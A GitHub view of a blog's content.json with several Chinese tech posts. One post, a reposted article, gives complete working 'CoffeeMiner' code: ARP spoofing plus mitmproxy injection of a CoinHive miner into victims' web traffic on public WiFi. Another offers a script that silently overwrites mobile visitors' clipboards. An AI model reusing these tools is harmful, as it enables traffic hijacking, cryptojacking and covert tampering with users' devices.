-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 145 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 145 KB
1
{"posts":[{"title":"“评测门”事件升级 AV-Test谴责腾讯在评测中严重作弊","text":"5月1日消息,德国著名反病毒评测机构AV-TEST发布声明称,中国厂商腾讯在参加其评测过程中作弊,证据确凿。AV-TEST称腾讯参测产品操纵它们的的性能测试和进一步降低了产品的整体安全,这是非常严重的作弊行为。 12小时前,AV-Test通过其Facebook和Twitter主页宣布,已经发现强有力的证据,有另一家公司(不是奇虎),专门改造产品在性能测试中忽略某些文件和进程检查,实现提高产品性能来获取高分的目的。这种做法会对用户构成安全风险!AV-Test将进行测试验证,并与AV-C、VB100共同公布调查结果。 而最终AV-TEST发布报告确认,该厂商就是中国的腾讯(Tencent)。有技术分析表明,腾讯电脑管家在其英文界面的评测版预置了AVC、AVTest、VB100等字符串,并针对不同评测机构分配了不同的逻辑分支。为了提升其评测性能,腾讯使用白进程列表进行了特殊处理,避免进程启动时扫描的性能开销,从而欺骗评测机构获取高分。 AV-TEST的报告称,我们注意到腾讯在AV-TEST测试结果中的一个巨大变化,腾讯在过去14个月的结果出现了很大的偏差,之前的平均值为1.3,而此次达到了3.36,经过以进一步调查发现,我们有确凿的证据证明腾讯对测试产品进行了特殊设置,以操纵产品的性能,但是这样的设置大大降低了产品的整体安全性。 图:AV-Test发布腾讯产品作弊的报告 意大利一位安全人士在AV-C的Facebook主页声称,“使用骗术的杀毒软件应该从市场上消失”。据评测机构内部人士透露,腾讯将面临远远超过取消认证奖项的处罚,很可能将遭到三大评测机构的除名,并且在5年内禁止再次参加测试。 附报告链接: AV-TEST报告原文","link":"/AV-TEST-TT.html"},{"title":"强奸你的剪切板","text":"最近因为种种原因,经常有网页强奸你的手机剪切板,今天我们就来探究一下,这些网页究竟是怎么强奸你的剪切板的。 起因事情的起因其实很奇怪,我昨天晚上去查资料的时候,无意中发现我的剪切板被强奸的,所以就仔细研究了一下这个东西。 本来我对JS也是一窍不通,这是我第二次写JS脚本,上一次是写那个跳转页面。如果本文有什么错误,欢迎大佬指正。 先说一下我访问的网页,菜鸟教程手机版https://m.runoob.com/ 发现剪切板被强奸之后,我就去下载了一个剪切板监控插件https://www.coolapk.com/apk/com.chili.ClipboardManager 然后找到了一点线索 这里说明一下,显示的操作应用时系统web内核,其实时via调用了系统web内核,而这个复制操作又是在via浏览器中执行的,所以会提示web内核访问了剪切板。 原理解析好了,元凶找到了,我们就要看看他是怎么作案的,手机浏览器调试不太方便,我就等到第二天到电脑上来看看。 首先打开网页,然后打开调试工具,然后重新刷新一下网页看看。 看看我找到了什么,果然是通过JS实现的这个clipboard.min.js就是用于实现复制文本到剪切板的,而且兼容性非常好。 好了,既然知道是怎么作案的,那就再往深了查一点,咱们看看index.html里都写了什么。 先把网页复制出来,然后搜索clipboard,找到相关的线索。简单解释一下,他先通过https://m.runoob.com/api/codexx.php 这个接口获取数据,你们有兴趣的可以自己去看一下,这个时候我得到的是 1{"flag":true,"ins_data":"\\uffe5Sh7p0Osu3GO\\uffe5"} 然后接着往下看,接下来就是改变body的id和data-clipboard-text,这两步都是给接下来强奸你的剪切板做准备,然后就是强奸你剪切板的方法咯,再后面就是验证有没有强奸成功。 除此之外,还要判断你是不是移动设备,因为强奸你电脑的剪切板是完全没用的。 验证一下看到别人剧本写的挺好的,难免想要验证一下,所以自己改了一个剧本 结果: 好了我已经可以成功强奸剪切板了。 12345678910111213141516171819202122232425262728293031323334353637383940html<!doctype html><html lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>测试页面</title></head><body><div id="copy" data-clipboard-text="测试剪切板"> <p>准备强奸 <br><br><br><br><br><br><br><br><br><br> 结束</p></div><script src="https://cdnjs.cat.net/ajax/libs/jquery/3.3.1/jquery.min.js"></script><script src="https://cdnjs.cat.net/ajax/libs/clipboard.js/1.7.1/clipboard.min.js"></script><script> $("body").onclick = copycode(); function copycode() { if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) { var clipboard = new Clipboard('#copy'); clipboard.on('success', function (e) { alert("复制成功"); }); clipboard.on('error', function (e) { alert("复制失败"); }); } }</script></body></html> 写在后面的关于网页中插入强奸剪切板代码这件事,我不反对,但是最起码要有个说明什么的,在显眼的位置说一下,我加了强奸剪切板的代码。 附本文所用代码想用直接拿去用,我也不搞什么加密收费的,连我这个对JS一窍不通的都能捣鼓出来一个,原本很简单的一个东西,却要拿去收费,真TMZZ。 12345678910111213141516171819202122<script src="https://cdnjs.cat.net/ajax/libs/jquery/3.3.1/jquery.min.js"></script><script src="https://cdnjs.cat.net/ajax/libs/clipboard.js/1.7.1/clipboard.min.js"></script><script> $("body").onclick = copycode(); $("body").attr("id" ,"copy"); $("body").attr("data-clipboard-text" ,"强奸你的剪切板 lieetD58G4"); function copycode() { //if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) { var clipboard = new Clipboard('#copy'); clipboard.on('success', function (e) { //alert("我强奸了你的剪切板"); }); clipboard.on('error', function (e) { //alert("复制失败"); }); } }</script> 原文这里就是把上面的代码直接写到md文件里,然后(这篇文章没有,已经被我去掉了)。。。。。。 转载自 https://www.xxwhite.com/2018/Clipboard.html","link":"/Clipboard.html"},{"title":"CoffeeMiner:劫持WiFi网络接入设备进行“挖矿”的框架","text":"几个星期以前,我看到了网上关于黑客劫持星巴克WiFi网络中的笔记本电脑进行“挖矿”的报道,非常有意思,结合分析,我认为,还能用中间人MITM测试方式来实现类似目的。本文中我们就来讨论,如何以MITM方式在html页面中注入javascript,让那些接入公共WIFI的电子设备成为黑客手中的“挖矿”矿工。最终我会编写一个实际的被称为“CoffeeMiner”的脚本,可以用它来在咖啡店等公开WIFI网络环境中进行匿名渗透,实现掌控大量电子设备开展“挖矿”目的。 测试场景 要在在一个公开的WIFI网络环境中实现该种目的,CoffeeMiner测试者要试图拦截用户和路由器之间的流量,如下所示:CoffeeMiner:劫持WiFi网络接入设备进行“挖矿”的恶意框架 场景设置真实场景中,WIFI网络中接入了各种智能手机或平板电脑,为了方便深入分析,我们搭建了一个虚拟网络环境进行测试。在此会用到VirtualBox和安装在其中的Kali Linux,我们会安装3个虚拟机Kali系统,分别扮演以下角色: 受害者:接入了WIFI路由器并浏览了某些恶意页面测试者:运行CoffeeMiner工具,发起MITM测试 路由/网关设备:起到普通网关作用 一旦发起测试,实际场景应该是这样的,即受害者的网络流量要被劫持: 我们分别对3台虚拟机进行以下配置: 受害者网络适配器: eth0: Host-only Adapter/etc/network/interfaces: 测试者网络适配器: eth0: Host-only Adapter/etc/network/interfaces: 路由/网关设备网络适配器: eth0: Bridged Adaptereth1: Host-only Adapter/etc/network/interfaces: 编写CoffeeMiner代码ARP spoofing功能模块在这里,我们采用ARP spoofing来实现中间人MITM测试: 在计算机网络中,ARP欺骗、ARP缓存中毒或ARP路由毒化都是测试者在局域网中发送假冒ARP消息的技术,一般来说,其目标是将测试者的MAC地址与默认网关或其它主机的IP地址相关联,从而可将该IP地址相关的任何网络通信流量转发到测试者电脑,实现流量拦截和数据窃取等多种恶意目的。 为了实现该功能,我们要用到arpspoof和嗅探工具dsniff: mitmproxymitmproxy是一款流量分析和编辑工具,可以用它来发起中间人测试MITM。在此,我们可以用它来在html页面中注入javascript脚本,出于操作简易,我们只向html页面中注入一行代码,之后该行代码就会远程调用执行相应的javascript挖矿脚本。该行注入代码为: <script src="http://httpserverIP:8000/script.js"></script> Injector一旦我们截获了受害者的网络流量之后,就可在其中注入我们构造的脚本,为了实现脚本注入,我们需要用到 mitmproxy API 来编写相应injector代码: 123456789101112131415161718192021222324from bs4 import BeautifulSoupfrom mitmproxy import ctx, httpimport argparseclass Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.")def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args()return Injector(args.path) HTTP Server如前所述,当injector向html页面中添加了一行代码后,就会调用JavaScript挖矿脚本,所以,需要在HTTP服务器中部署该脚本文件。而为了实现该脚本的请求调用,须在测试者电脑中部署一个HTTP服务器,为此,我们要用到Python的‘http.server’库功能: 1234567891011#!/usr/bin/env pythonimport http.serverimport socketserverimport osPORT = 8000web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')os.chdir(web_dir)Handler = http.server.SimpleHTTPRequestHandlerhttpd = socketserver.TCPServer(("", PORT), Handler)print("serving at port", PORT)httpd.serve_forever() 上面的代码就是一个托管挖矿服务的简单HTTP服务器,其中托管脚本会被放置在/miner_script目录下,为了实现真正的挖矿,我在此使用了CoinHive的JavaScript挖矿平台工具。 CoinHive挖矿工具Coinhive其实是一个门罗币挖矿工具,它可以嵌入被测试者控制的肉鸡网站上,每当用户访问该网站时,用户CPU资源就会被占用,用来计算CryptoNote协议相关的加密货币哈希值,用户电脑也就间接沦为了测试者的“矿工”。 Coinhive挖矿工具的执行,要在受害者打开页面40秒后才能开始,所以,如果受害者浏览页面时间不足40秒,Coinhive的挖矿任务失效。本例中,我会在受害者请求的每个html页面中注入挖矿脚本,所以时间上肯定足够。 CoffeeMiner代码组合等所有条件准备好之后,我们就可以在某个WIFI环境中进行隐蔽部署了,现在我们来看看CoffeeMiner的实现。CoffeeMiner脚本会执行ARP欺骗,并能用mitmproxy将CoinHive 挖矿程序注入受害者请求的html页面中。首先,为了把测试者主机转化为中间代理,需要对ip_forwarding和IPTABLES进行配置: 为了对所有受害者执行ARP欺骗,我会使用一些Python代码来读取所有受害者IP,并用一个名为‘victims.txt’的文件来存储这些IP,之后再对这些IP执行ARP欺骗: 1234567891011#get gateway_ipgateway = sys.argv[1]print("gateway: " + gateway)#get victims_ipvictims = [line.rstrip('\\n') for line in open("victims.txt")]print("victims:")print(victims)#run the arpspoof for each victim, each one in a new consolefor victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") 一旦ARP欺骗操作发起后,运行HTTP服务器即可: python3 httpServer.py 之后,就可利用mitmproxy来执行注入程序 injector.py: mitmdump -s ‘injector.py http://httpserverIP:8000/script.js‘ 最终脚本coffeeMiner.py12345678910111213141516171819202122import osimport sys#get gateway_ip (router)gateway = sys.argv[1]print("gateway: " + gateway)#get victims_ipvictims = [line.rstrip('\\n') for line in open("victims.txt")]print("victims:")print(victims)#configure routing (IPTABLES)os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")#run the arpspoof for each victim, each one in a new consolefor victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")#start the http server for serving the script.js, in a new consoleos.system("xterm -hold -e 'python3 httpServer.py' &")#start the mitmproxyos.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T") injector.py12345678910111213141516171819202122232425from bs4 import BeautifulSoupfrom mitmproxy import ctx, httpimport argparseclass Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print(flow.response.headers["content-type"]) script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.")def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) 测试执行操作: python3 coffeeMiner.py RouterIP 测试演示我们在虚拟机环境下进行演示,先来在终端中进行手动测试: ARP欺骗执行之后,injector注入程序和HTTP服务器就绪,一旦受害者访问了恶意网页之后,其所有网络流量将会转发到测试者主机,并触发注入: 因此,受害者浏览的页面将被注入恶意挖矿服务调用代码: 总结如上所示,黑客可以非常容易地在某个WIFI环境中发起隐蔽恶意行为,对接入网络的大量电子设备进行掌控并利用其开展“挖矿”活动。通常,一些具备强力信号的WIFI网络可能会被黑客利用,另外,黑客可能还会在程序中加入Nmap扫描和sslstrip功能。CoffeeMiner完整代码请访问 https://github.com/arnaucode/coffeeMiner 转载自FreeBuf.COM http://www.freebuf.com/articles/wireless/159688.html","link":"/CoffeeMiner.html"},{"title":"常见物品尺寸记录","text":"记录一些常见物品的尺寸数据,默认单位为毫米(mm)最后更新日期: 2025/06/01现有数据: 1234易拉罐: 330mL/11.6 imp fl oz/11.2 us fl oz 330mL/High/高/摩登罐 473mL/16.6 imp fl oz/16 us fl oz 易拉罐:330mL 330mL High 473mL 16oz","link":"/Common-Item-Sizes.html"},{"title":"使DockerHub的Autobuild自动构建ARM/其他 架构的镜像","text":"起因:最近在使用 bilive_client挂B站的直播和主站日常任务,由于每次更新都需要重新编译+管理node环境太麻烦,所以开始使用Docker 遇到的坑:首先,Google一下找到了这个https://github.com/docker/hub-feedback/issues/1261 和 https://github.com/davidecavestro/mariadb-docker-armhf 这个示例,按照里面说的在Dockerfile同级目录下建立hooks文件夹,并放入post_checkout和pre_build 1234hooks|——pre_build|——post_checkoutDockerfile pre_build12#!/bin/bashdocker run --rm --privileged multiarch/qemu-user-static:register --reset post_checkout12#!/bin/bashcurl -L https://github.com/balena-io/qemu/releases/download/v3.0.0%2Bresin/qemu-3.0.0+resin-arm.tar.gz | tar zxvf - -C . && mv qemu-3.0.0+resin-arm/qemu-arm-static . 然后在Dockerfile里加入一行 1COPY qemu-arm-static /usr/bin 然而并没有卵用 检查日志,发现Autobuild提示no such a file or dictionary(黑人问号.jpg)这就让人头疼了继续Google,发现有人已经反馈过这个情况 https://forums.docker.com/t/resolved-automated-docker-build-fails/22831 官方确认是Bug而且被标记为已解决(再次黑人问号.jpg)解决了个卵啊? 没办法了,直接上二段构建先把qemu-***-static放到项目里,如果是(ARMv8 64)使用qemu-aarch64-static Dockerfile1234567891011121314151617181920212223# 这里用什么镜像都可以,反正不会影响到最终输出的镜像,我使用的是alpine,如果用debian-stretch需要自己更改下面的内容FROM alpine AS builderMAINTAINER Disappear9# 使用wget而不是git下载qemu,加速构建RUN apk --no-cache add unzip \\ && wget https://github.com/Disappear9/bilive_client_docker/archive/master.zip \\ && unzip master.zip \\ && mkdir /qemu \\ && cp bilive_client_docker-master/qemu/* /qemu \\ && rm master.zip \\# 下载需要编译的代码 && wget https://github.com/lzghzr/bilive_client/archive/master.zip \\ && unzip master.zip \\ && mkdir /app \\ && mv bilive_client-master/* /appFROM arm32v6/node:alpine AS release# 从builder把qemu复制到/usr/bin,这里建议把需要编译的代码也直接复制进来,这样会让layer更美观一些。COPY --from=builder /qemu/qemu-arm-static /usr/binCOPY --from=builder /app /app 最后,附上Github地址 https://github.com/Disappear9/bilive_client_docker 欢迎参考DockerHub地址 https://hub.docker.com/r/disappear9/bilive_client 还有一些问题Autobuild只有在Github有push时才会触发,这就很尴尬,在源码更新时需要手动触发……","link":"/Docker-ARM.html"},{"title":"使用脚本在E站下载本子(E-Hentai Downloader)","text":"注意我个人并不推荐使用这种方法来下载E站的本子,因为这样会给服务器造成很大压力,而且配额限制是根据ip来的,如果你的ip是共用的,你把配额用完别人也跟着受限。所以除了画廊无种或死种,画廊有种子就尽量用Torrent Download,并且下载完多挂会,毕竟E站也会计算分享率的。 要求 有耐心 正在使用以下任意一种浏览器: FirefoxChromeOpera 15以上版本MaxthonMicrosoft Edge(Windows 10 14393 以上版本的Edge才能安装扩展)Safari 10.1以上版本Yandex Browser for Android(如果你对你手机的内存有信心的话) 安装Step.1 安装Tampermonkey扩展 Firefox > TampermonkeyChrome > Tampermonkey(请使用Stable版本)Opera > TampermonkeyMaxthon > Violentmonkey(傲游只有这个,不过也是一样的)Microsoft Edge > TampermonkeySafari > TampermonkeyYandex Browser for Android > Tampermonkey Step.2 安装脚本GitHub链接GreasyFork链接点击上面任意一个链接,如果你的Tampermonkey安装正确的话会直接跳出脚本的安装界面(P.S. GreasyFork需要手动点击安装)(P.P.S 至少在Firefox和Chrome上是这样的……) (由于我已经安装过了,所以这里显示为重新安装) 使用 打开g.e-hentai.org或exhentai.org,随意打开一个画廊,如果画廊详情的下面出现这样一个东西,说明脚本生效了 从左到右分别是:下载,在图片的前面加上编号,设定下载范围,设置,反馈 点击Settings,按图设置 点击Download Archive,浏览器窗口的右下角会出现下载进度和画廊信息 需要注意的是,这个脚本会在图片下载完成后才合成Zip压缩包,在这之前所有图片会缓存到内存里,这也就是为什么我前面说用Yandex Browser for Android需要对自己的内存有信心,所以如果你关闭了这个标签页或者手贱关闭了浏览器。。。。。嗯(标签) 需要注意的一些事情 下载的配额限制(这里我直接引用作者Wiki的文章): English Version: https://github.com/ccloli/E-Hentai-Downloader/wiki/E%E2%88%92Hentai-Image-Viewing-Limits 你的浏览限额可以在 http://g.e-hentai.org/home.php 看见 你可以花费 GP 或 Credits 来重置浏览限额 以下数据均为个人测试,所以可能并不准确。 对于登录用户,你每天拥有 5000 点浏览限额(通常情况下)请注意,浏览限额的使用是根据你的 IP 地址计算的,如果你正在使用一个公共的 IP 地址,那么你的限额的使用量是所有使用该 IP 地址的所有 E-Hentai 用户。 **如果你拥有 Bronze Donation (捐赠额度达到 $20),浏览限额将按照你的账户进行计算,而不是 IP。**此外你还可以通过捐赠和购买 Hath Perk 来提升你的浏览限额。所有的 E-Hentai 网站使用相同的浏览限额系统E-Hentai、Lofi@E-Hentai 以及 ExHentai 使用同一套系统计算你的限额使用量,所以你的限额使用量是以上所有网站使用量的总和。访问图片浏览页(获取图片地址)消耗 1 点限额访问图片浏览页(URL 类似于 g.e-hentai.org/s/[图片 ID]/[图册 ID]-[页码])将消耗 1 点限额。无论浏览器是否成功下载用于浏览的压缩图片,或者无论这张图片被访问多少次,都不会对你的限额造成任何影响。 在 2016 年 3 月 3 日和 3 月 13 日的更新中,E-Hentai 分别支持了移动版图像(Lofi images,低分辨率图像)和高分辨率图像,所以限额消耗也会依据图片尺寸进行计算。 123456Auto (1280x):1 点 980x:1 点 780x:1 点 1600x:3 点(或许是,在更新本文时作者发现自己似乎没有权限了,所以这是凭记忆的) 2400x:5 点 访问带有 nl 参数的图片浏览页消耗 6 点限额** 访问带有 nl 参数的图片浏览页(即点击浏览页下方的“Click here if the image fails loading”后的地址,URL 类似于 g.e-hentai.org/s/[图片 ID]/[图册 ID]-[页码]?nl=[NL 参数])将消耗 6 点限额。这个有点卧槽,只是切换个节点而已就要 6 点 = = (实际上,带有 nl 参数的地址代表不要从 H@H 加载图片,而是从原始服务器加载)下载压缩的图片将不会消耗限额 无论浏览器是否成功下载用于浏览的压缩图片,或者无论这张图片被访问多少次,都不会对你的限额造成任何影响。下载原始图片 每 0.2 MB 消耗 1 点限额当访问原始图片的 302 跳转页(URL 类似于 g.e-hentai.org/fullimg.php?gid=[GID]&page=[页码]&key=[奇怪的 token],这个链接就是浏览页下方的“Download original [X] x [Y] [文件大小] source”这串文字的链接),文件大小每达到 0.2 MB 将消耗 1 点限额(从 2016 年 10 月或稍早些开始使用该标准,之前是固定 6 点限额)。举个例子,2 MB 的图片将消耗 10 点,2.1 MB 的图片也将消耗 10 点,而 2.2 MB 的图片将消耗 11 点。您可以查看这里来了解我们的测试详情。 但是只有访问这个跳转页会消耗限额,这意味着,访问最终的图片地址(URL 类似于 [服务器 IP]/ehg/image.php?… 或者 [服务器 IP]/im/…)将不会消耗限额。所以在 E-Hentai Downloader 1.12 1.14 中(由于逻辑错误而最终在 1.14 实现),当原始图片下载失败后,脚本将访问最终的图片地址进行下载(在旧版本中,脚本将访问之前的跳转页)限额的已使用量每分钟减少 3 点 常见错误和高级用法作者的Wiki上还有一些文章,我就不搬运了:Can’t make Zip file successfully(提示不能创建Zip文件)Cross origin request warning from Tampermonkey(Tampermonkey经常出警告)Tagging gallery archives and saving then by types in respective folders (Chrome and Firefox)(已Tag对本子进行分类)","link":"/E-Hentai-Download.html"},{"title":"博客程序更换至HEXO","text":"美国 罗利 美国 罗利 Openshift倒闭了我在8月份的时候收到了来自Openshift的这样一封邮件: 123456Valued OpenShift Online user,Today, we announce the sunset of the previous generation OpenShift Online 2 platform. After September 30th, 2017, Red Hat OpenShift Online 2 (our Free, Bronze, and Silver offerings in v2) will no longer be available. ............If you’re still using the previous generation OpenShift Online 2 platform, you can find step-by-step instructions in our Migration Center to help you easily migrate your applications.Migrate by September 30th, 2017............ 大意就是老的空间准备关了,请换到新的。而时并没有在意,因为我知道从截至日期到完全关停还是有很长时间可以苟的,然而,我错了……到截至日期一个星期后,我的Blog炸了……而且一炸就是一个多月……..不过还好,我有备份,但是找个新的空间就成了问题。查了半天,国内的空间要各种认证,国外的即使加上CDN访问速度也很慢。然后,我偶然间得知Github提供了一个叫Git pages的服务,可以拿来托管一些静态页面好了我的Blog有救了! 配置环境安装Node作用:用来生成静态页面的 到Node.js官网(https://nodejs.org/ )下载相应平台的最新版本,安装即可。安装Git&申请Github帐号直接apt install就行 安装&配置HEXO1234sudo npm install -g hexomkdir blogcd bloghexo init 这会在当前目录建立HEXO的主目录blog 安装一些组件,然后测试能不能正常运行: 12345678sudo npm install hexo-servernpm install hexo-server --savenpm install hexo-renderer-ejs --savenpm install hexo-renderer-stylus --savenpm install hexo-renderer-marked --savenpm install hexo-deployer-git --savehexo ghexo s 这时打开浏览器访问http://localhost:4000 应该能看到示例页面 配置Github建立Repository建立与你用户名对应的仓库,仓库名必须为 (你的用户名.github.io)导入好SSH密钥然后暂时不需要管他了 配置Blog编辑 _config.yml 1nano _config.yml 具体内容请看官方文档(修改网站标题,语言,时区之类的): https://hexo.io/docs/configuration.html主要还需要更改这些: 1234deploy: type: git repository: https://github.com/用户名/用户名.github.io.git branch: master 配置好Git以后,直接运行: 1hexo d 这样就完成了初步部署,浏览器中打开https://用户名.github.io 就可以看到初步成型的博客了。 绑定域名在blog目录下的source文件夹中新建一个名为CNAME的文件,文件里写上你的域名**(不带http:// )**然后在你的域名控制面板里建立一个到 用户名.github.io 的CNAME记录 如果你对目前的博客感到满意,那么看到这里就可以关掉这个页面了,然后去看看官方文档就可以开始正常写作了 换个主题我使用的主题是yiliahttps://github.com/litten/hexo-theme-yilia 在Blog/theme下运行git clone https://github.com/litten/hexo-theme-yilia.git然后把hexo-theme-yilia更名为yilia编辑blog目录下的 _config.yml 1theme: yilia 然后似乎也没什么需要我写的了,主题作者的说明写的很详细 加个Live2d就是现在你屏幕右下角的这个,眼睛还会随着你的鼠标运动。https://github.com/EYHN/hexo-helper-live2d/blob/master/README.zh-CN.md老版本还需要改layout.ejs来着,现在不需要了,原作者的文档写的很清楚。喜欢哪个模型就直接 npm install 模型的包名,然后把_config.yml 中use:字段改一下 我的配置: 1234567891011121314151617live2d: enable: true scriptFrom: local model: use: live2d-widget-model-koharu display: position: right width: 75 height: 150 hOffset: 50 vOffset: -15 mobile: show: true scale: 0.5 react: opacityDefault: 0.7 opacityOnHover: 0.2 配置评论多说,畅言,网易之类的不是被墙就是要求备案,所以我用了Gitmentyilia主题自带Gitment,直接修改主题文件夹的_config.yml就好 12345gitment_owner: disappear9gitment_repo: 'disappear9.github.io'gitment_oauth: client_id: 'id' client_secret: 'secret key' 然后在https://github.com/settings/developers 中新建一个OAuth App Authorization callback URL要填你的最终的博客地址然后访问任意一篇文章,登录创建Github仓库的账号授权完成后会看到一个初始化的按钮,按下它,就会在 用户名.github.io 仓库创建一个用于存储评论的issues(这一步不要在本地调试的时候做,不然100%报错) 然后紧跟着还有一个坑 因为Github对label的字数限制,所以会出现 Error:validation failed你需要更改blog目录下的_config.yml: 123456789#URL##If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'url: https://thinkalone.ga/ #<<<<<<<<<<<<<这里,改成你的域名root: /permalink: :title.html......# Writingnew_post_name: :title.md #<<<<<<<<<<<<<这里,只保留标题default_layout: post 或更改主题 /layout/_partial/post 目录下的 gitment.ejs 文件 如果你使用的也是yilia主题 123456789101112131415<div id="gitment-ctn"></div> <link rel="stylesheet" href="//imsun.github.io/gitment/style/default.css"><script src="//imsun.github.io/gitment/dist/gitment.browser.js"></script><script>var gitment = new Gitment({ id: "<%= page.title %>", owner: '<%=theme.gitment_owner%>', repo: '<%=theme.gitment_repo%>', oauth: { client_id: '<%=theme.gitment_oauth.client_id%>', client_secret: '<%=theme.gitment_oauth.client_secret%>', },})gitment.render('gitment-ctn')</script> 参考http://baixin.io/2015/08/HEXO%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2/http://xichen.pub/2018/01/31/2018-01-31-gitment/","link":"/Move-to-HEXO.html"},{"title":"LSi 9211-8i刷IT模式/升级","text":"有些坑,我觉得必须写出来了:我屮艸芔茻!!!!!!!!!!!国内的某网站( http://www.7po.com/thread-456043-1-1.html )上的教程完全就是错的啊!而且这东西百度出来第二个就是啊!这是要坑多少人啊?!好了,如果有人已经按照某网站的教程做了,那么请从本文的这一段开始看。 1)在windows下的操作 1.下载固件和BIOS https://docs.broadcom.com/docs/9211_8i_Package_P20_IR_IT_FW_BIOS_for_MSDOS_Windows.zip 2.准备文件在下载来的压缩包里找到这些文件,并将它们都放到同一个英文目录下 Firmware\\HBA_9211_8i_IT\\2118it.binsasbios_rel\\mptsas2.romsas2flash_win_x64_rel\\sas2flash.exe (如果你的系统是32位的就用sas2flash_win_x32_rel\\sas2flash.exe) 3.开始 1)先备份序列号运行命令 1sas2flash -list 显示: 12345678910111213141516171819202122232425LSI Corporation SAS2 Flash UtilityVersion 20.00.00.00 (2014.09.18)Copyright (c) 2008-2014 LSI Corporation. All rights reserved Adapter Selected is a LSI SAS: SAS2008(B2) Controller Number : 0 Controller : SAS2008(B2) PCI Address : 00:01:00:00 SAS Address : SSSSSSSSSSSSSSSSSSSSSSSS<<<<<这里 NVDATA Version (Default) : 11.00.00.08 NVDATA Version (Persistent) : 11.00.00.08 Firmware Product ID : 0x2213 (IR) Firmware Version : 19.00.00.00 NVDATA Vendor : LSI NVDATA Product ID : SAS9211-8i BIOS Version : 07.37.00.00 UEFI BSD Version : N/A FCODE Version : N/A Board Name : SAS9211-8i Board Assembly : AAAAAAAAAAAAAAAAAAAAAAA<<<<<这里 Board Tracer Number : TTTTTTTTTTTTTTTTTTTTTTT<<<<<还有这里 Finished Processing Commands Successfully. Exiting SAS2Flash. 把上面标记部分抄下来,或者截个屏也行。 2)依次运行以下命令 123sas2flsh -o -e 6sas2flsh -o -b mptsas2.romsas2flsh -o -f 2118it.bin 3)把备份的各种序列号写回去 123sas2flash -o -sasadd SSSSSSSSSSSSSSSSSSSSSSSSsas2flash -o -assem AAAAAAAAAAAAAAAAAAAAAAAsas2flash -o -tracer TTTTTTTTTTTTTTTTTTTTTTT 4)检查运行命令 1sas2flash -list 显示: 12345678910111213141516171819202122232425LSI Corporation SAS2 Flash UtilityVersion 20.00.00.00 (2014.09.18)Copyright (c) 2008-2014 LSI Corporation. All rights reserved Adapter Selected is a LSI SAS: SAS2008(B2) Controller Number : 0 Controller : SAS2008(B2) PCI Address : 00:01:00:00 SAS Address : SSSSSSSSSSSSSSSSSSSSSSSS NVDATA Version (Default) : 11.00.00.08 NVDATA Version (Persistent) : 11.00.00.08 Firmware Product ID : 0x2213 (IT) Firmware Version : 20.00.00.00 NVDATA Vendor : LSI NVDATA Product ID : SAS9211-8i BIOS Version : 07.37.00.00 UEFI BSD Version : N/A FCODE Version : N/A Board Name : SAS9211-8i Board Assembly : AAAAAAAAAAAAAAAAAAAAAAA Board Tracer Number : TTTTTTTTTTTTTTTTTTTTTTT Finished Processing Commands Successfully. Exiting SAS2Flash. OK,完美 2)使用EFI-SHELL 这一部分适用于不用windows系统的 和 按照某网站的坑人教程把卡刷坏了的 1)确认你的主板支持UEFI 2)下载Installer P20 for UEFI(https://docs.broadcom.com/docs/Installer_P20_for_UEFI.zip)**下载固件和BIOS **(https://docs.broadcom.com/docs/9211_8i_Package_P20_IR_IT_FW_BIOS_for_MSDOS_Windows.zip) 3)把以下文件放到硬盘的根目录下 Installer_P20_for_UEFI.zip > sas2flash.efi9211_8i_Package_P20_IR_IT_FW_BIOS_for_MSDOS_Windows.zip > Firmware\\HBA_9211_8i_IT\\2118it.bin9211_8i_Package_P20_IR_IT_FW_BIOS_for_MSDOS_Windows.zip > sasbios_rel\\mptsas2.rom 4)启动EFI SHELL(从主板启动EFI SHELL,不支持的自己搜用U盘启动SHELL的教程) 5)备份序列号 运行命令: 12fsX: (X是一位数字,取决于上面那几个文件的位置,可以从0开始试,用ls命令列出当前目录下文件,找到sas2flash.efi)sas2flash.efi -list 然后参照上面windows部分的教程把各种序列号抄下来 6)刷入固件 123sas2flash.efi -o -e 6sas2flash.efi -o -f 2118it.binsas2flash.efi -o -b mptsas2.rom 6)参照上面windows部分的教程把各种序列号写回去 (如果你是来恢复被刷坏的卡的,那么在这一步完成后记得把备份的SBR刷回去) OK,完美,教程结束","link":"/Flash-9211-8i.html"},{"title":"以NAS为中心的全平台娱乐方案","text":"目标:1)所有文件均储存在NAS上,且由NAS完全承担下载任务。2)在所有终端都可直接使用NAS内文件。3)维护NAS时不需要物理接触。 